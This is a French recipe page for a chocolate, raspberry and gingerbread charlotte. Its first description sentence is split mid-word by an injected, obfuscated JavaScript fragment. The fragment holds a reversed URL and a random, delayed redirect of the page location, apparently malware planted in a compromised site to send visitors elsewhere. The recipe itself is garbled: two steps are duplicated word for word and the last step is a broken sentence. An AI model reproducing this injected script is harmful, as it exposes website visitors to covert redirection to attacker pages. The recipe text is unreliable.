Charlotte chocolat et framboises
2017-12-30- Cuisine : Charlotte
- Thématique : Végétarien
- Niveau : Difficile
Détachez les tranches de pain d’épices. Arrosez les de crème de framboises. Déposez les autobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tour et au fond d’un moule beurré.
Ingrédients
- Pour 6 personnes
- Crème de framboise
- 280g de chocolat noir
- 250 g de pain d'épices tranché
- 100 g de beurre 1/2 sel
- 125 g de framboise
- 7 œufs (Les blancs séparés des jaunes
Préparation de la recette
Etape 1
Détachez les tranches de pain d'épices. Arrosez les de crème de framboises. Déposez les autour et au fond d'un moule beurré.
Etape 2
Cassez le chocolat en morceaux, faites le fondre sur feu doux avec le beurre 1/2 sel. Mélangez pour obtenir une consistance lisse.
Etape 3
Hors du feu incorporez un à un les jaunes d’œufs dans votre préparation chocolat & beurre.
Etape 4
Montez les blancs en neige ferme avec une pincée de sel fin. Versez la mousse dans le moule, sur les tranches de pain d'épices. Couvrez d'un film alimentaire.
Etape 5
Montez les blancs en neige ferme avec une pincée de sel fin. Versez la mousse dans le moule, sur les tranches de pain d'épices. Couvrez d'un film alimentaire
Etape 6
Placez au réfrigérateur pendant 12 heures. A ce moment avec des framboises fraîches. Dégustez
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